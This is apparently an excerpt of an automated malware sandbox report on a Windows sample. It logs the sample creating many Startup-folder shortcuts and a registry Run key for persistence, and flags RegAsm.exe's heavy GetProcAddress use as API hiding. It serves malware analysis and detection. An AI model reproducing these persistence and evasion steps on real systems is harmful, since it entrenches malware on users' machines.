Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a25a05906f494a63aea991434abcb684.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cac04a26ebfd43ad9c012fcd943d73d9.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_11bb993241174236ae6ead7e4d655d7d.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5db02667637048b5b7b36d72e76d6ea7.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c5b00642026748cea869cb66fb712632.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9c246699b5ec4110bf7f022a83c7d0db.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f58bf8c6bfe340daa98f97e6c83ae25c.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4114f1046b56454982c559880f00bea5.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fbf07c59d2ed4cb5a9f0c8337cd925e0.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4fcdb40a7ad743a595149d62e99c531e.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_53e7c0527e1346e3af19c6dacafbb943.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_87be2b38d01345baac03443a93fbaea1.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c9c9b2e1c22c4c26a2ebfbea7b6d3647.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5361e487844d460ebea51925861c3e7e.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4fe8d68d927a4ead874aa62dfdce0148.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_45a387d513a94bad90d18677fff02ba2.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7fb8adc8fc414f4aa148f7d55228b7c4.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cde93ed3236248a5b5c67767a92407de.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a90cd16cfe8b4c59b8d225f742a76973.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_55c3178306b649caab93d24353dbf6c6.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b7e7833f47e74e049efb85faaafffc99.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4b723bf30bff4fc888f809eb1f091588.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2970361e176f47fa886e16bc896da27f.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7ff9ff53c07542678f5f47bff950e077.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_62651b9370c3495f952d253b438f53fd.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_da25498943f74a748fa6a187ed9c1b9e.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c0448f61c04947c3a5d07f0c869103a1.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f5304f311fe243a0996f7192610250b4.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_aa4165733baf4ead8fb97ce3c7306fa0.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6a81dec2a4b74173b487d206faacf2fe.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fa9c5a790fd44dbf817e21a1d5166e9a.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_218b57b90a0d4561bae50219b89214ac.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_538422fdfdfe418aba71b868a0ce91c3.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ea7ed015e1024d56889274b8af2e12ad.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c2817d7bd70242ca9345a4458eff7e8f.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_10ed35dbff124538a7008639255c7153.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d4df5ffd2bda43878cbf94923ad964a0.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1ab67645556f45ea8c940a04e4da87d1.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ef64f90a2e6640108e56e1015f35f492.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1efe912af54e48a58a4ef441510ad737.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_14cf221edea94942849a00303dff9cc8.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_aa1978a927ca4904a42e20988f565d6e.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f125ce55b62640f7b29e255f8ecebc0a.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3310766d309a45959b625201c1d55a8e.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5e6db52c042c44b18e99a94451503fa0.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f44354cdcda34f80800b8ccf2ca0d9dd.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ada4b92489b94d95a968e3710c502b9c.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d7a6f88eb4c045f08eb61534dab3b945.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1aa0db88df3e4841a0f1b89656f21221.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_816c40a1d6ee4872b4f948de0529bca3.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d4256e2b275c4aa7bdce28c322f74dd7.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bd6a439c04b1464295919f208cb4eda6.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1e9068ec96ce4a0684c0bfd6c5b82f67.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2e75c160c12f4333a45a369fc5627124.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_404a8687ffc94a9b9686120efbcb3420.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8bb2a35dbaf2475289726a2b41d56016.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_95dd076087ea49f3a02fc016438f2afb.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f8343211da1342ca8d9a771b05da9c97.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_09b28e4fd57c4276bc5b173f751bee06.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_43b26471a1014a25abc40b11f447314b.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_74afedef17ef407abb691f05f5e2c2f2.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9fa28e5dd0bf4fcfb576fb1dd87a7ede.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c515a03f90e74bb8b32a64a1a3076250.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_35d5e51ef6274544a7785c3e37710334.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3836655e95b04acaa0a2d949bd8f0934.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3aac94e7020e4288b70d5e18c1d54e2e.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_dee28cc7ee564c6aa9a72314d0bf9f39.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c4f0c2173e1f4cf4bdb5eb0b8b8edb09.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b394afb967cb40d8bf998af3a2897c0e.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fc4bf16337f8445782876380b34e76aa.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7764d76089eb4f9c97a7d789ea213107.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_30fc90850dd34b4da833436e5d1860ec.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_64d093b6e80a472e9cda273f0fbf8d93.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0416c2b043b548b98d8e36b1f2742e86.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e6d60649bfeb40e9b98c1845b8d34392.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_91f82638433e49498b8f377d1d06e8bf.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7b13eeb8316a4abf9c65037cffeafecc.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c0d583461cb74f1786599a09dc34a81e.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f910ef936b6342dfa24199f0e57219df.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0e8e33f9f91b4f1ba94005c6ac098282.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e173d8ef971d4f469f6a0ea9e4e90113.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6eb59acc8f814dde96eeaa2a75959888.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5fdec83e3b82499eba5012cec92d3fd3.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1cc625b6c2d6485684d80cc4003e2419.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8ec37064b04f48cdb12294deaf27d09a.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e9e783ecb7a8469ba254d9b1be697ea9.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_51633a6366d44e2d9ea7909f23fa22ea.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d766938c6dff4096ac7879453851552b.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2d596e13c95e42568203d501d8fd4f92.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_23280cced92743398b87ccfdbac06f4f.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5226a8f2605349b983cecd4b9d5179eb.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ff87a15bd80848e786e55aadc042b626.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_16e870fe4de54b7ca784321e66ec73b8.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_09f0e4122b294b788ab3ddd008b63851.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_57c522e8823d49578c19ec88b409f68b.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2158989d6e45408a966735ab9304df25.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_adb8c01a934b4a17879835e264649cb5.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_828f6fb4ab1f417bab89b2eb5d529db0.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_85af9c481158400a8b748b299a439cde.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_20b5decd56ad482fb72aff3528eaa89f.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d6071f085022482aa13b353574d9b91e.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1fc601e0a8f6463a826d8bdb86d7b8bc.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_27ea7301f3fe425fb932d6c4accde21f.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6704ac2709b6415194a10611fd7e3c60.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_356cb0e8f5dd4ac68a14983323e9ed96.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_abcf48dd4f9f4d75b5f5a196aae82fb8.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c91b1b6aac504acaaeca2fe9d82325b8.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7200cc21e7c042b2ac8c9ce7a01e48da.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d3f5b99306f24ad0a68b900202e05ad8.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_86e0194067b74c8aa19aa2e7242f429f.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8b550784488644c9899519ebcdc0db51.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9c3063cb22b04caebc24348af1147907.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f731e6f815a74af4acb3e6eae80c78c6.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3a3d0ad3f6a64535a9098ba7a00b843a.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ef5bdfe81da84893ac0c76d8c41ed376.lnk Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run MFDBG_53e62ee1f55449c09d35238cb5fcef52 Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run MFDBG_53e62ee1f55449c09d35238cb5fcef52 Jump to behavior
Extensive use of GetProcAddress (often used to hide API calls)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0041891A GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 3_2_0041891A
